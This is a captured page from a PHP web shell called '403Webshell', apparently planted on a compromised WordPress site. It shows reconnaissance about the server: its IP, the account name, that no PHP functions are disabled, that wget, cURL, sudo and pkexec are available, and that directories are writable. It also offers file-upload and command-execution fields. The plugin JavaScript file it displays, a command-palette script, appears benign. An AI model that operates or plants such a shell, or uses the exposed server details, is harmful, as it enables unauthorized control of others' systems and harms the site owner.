403Webshell
Server IP : 108.167.142.43  /  Your IP : 216.73.217.58
Web Server : Apache
System : Linux gator4174.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : delarice ( 2406)
PHP Version : 8.3.36
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home2/delarice/public_html/wp-content/plugins/astra-sites/inc/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/delarice/public_html/wp-content/plugins/astra-sites/inc/assets/js/command-palette.js
/**
 * Starter Templates Command Palette Integration
 *
 * Registers Starter Templates customizer panels with WordPress Command Palette.
 *`
 * @package Astra Sites
 * @since x.x.x
 */

( function ( wp ) {
	'use strict';

	if ( ! wp || ! wp.data || ! wp.commands ) {
		return;
	}

	const { dispatch } = wp.data;
	const { store: commandsStore } = wp.commands;
	const { unregisterCommand, registerCommand } = dispatch( commandsStore );

	const { imageDir, customCommands } = window.stCommandsPalette;
	const { createElement } = wp.element;
	const stIcon = createElement( 'img', {
		src: `${ imageDir }logo.svg`,
		alt: 'Starter Templates',
		width: 20,
		height: 20,
	} );

	// Function to remove existing commands
	function removeExistingCommands() {
		const store = wp.data.select( 'core/commands' );
		if ( store ) {
			const commandsToRemove = [
				'themes.php-starter-templates',
				'themes.php-ai-builder',
			];
			commandsToRemove.forEach( ( commandName ) => {
				unregisterCommand( commandName );
			} );
		}
	}

	// Function to register commands.
	function registerSTCommands() {
		customCommands.forEach( function ( command ) {
			try {
				// Register the command.
				dispatch( commandsStore ).registerCommand( {
					name: command.name,
					label: command.label,
					searchLabel: command.searchLabel,
					icon: stIcon,
					callback: function () {
						window.location.href = command.url;
					},
				} );
			} catch ( error ) {
				console.error( 'Error registering command:', error );
			}
		} );
	}

	// Remove existing commands first, then register new ones
	if ( wp.domReady ) {
		wp.domReady( function () {
			removeExistingCommands();
			registerSTCommands();
		} );
	} else {
		if ( document.readyState === 'loading' ) {
			document.addEventListener( 'DOMContentLoaded', function () {
				removeExistingCommands();
				registerSTCommands();
			} );
		} else {
			removeExistingCommands();
			registerSTCommands();
		}
	}
} )( window.wp );

Youez - 2016 - github.com/yon3zu
LinuXploit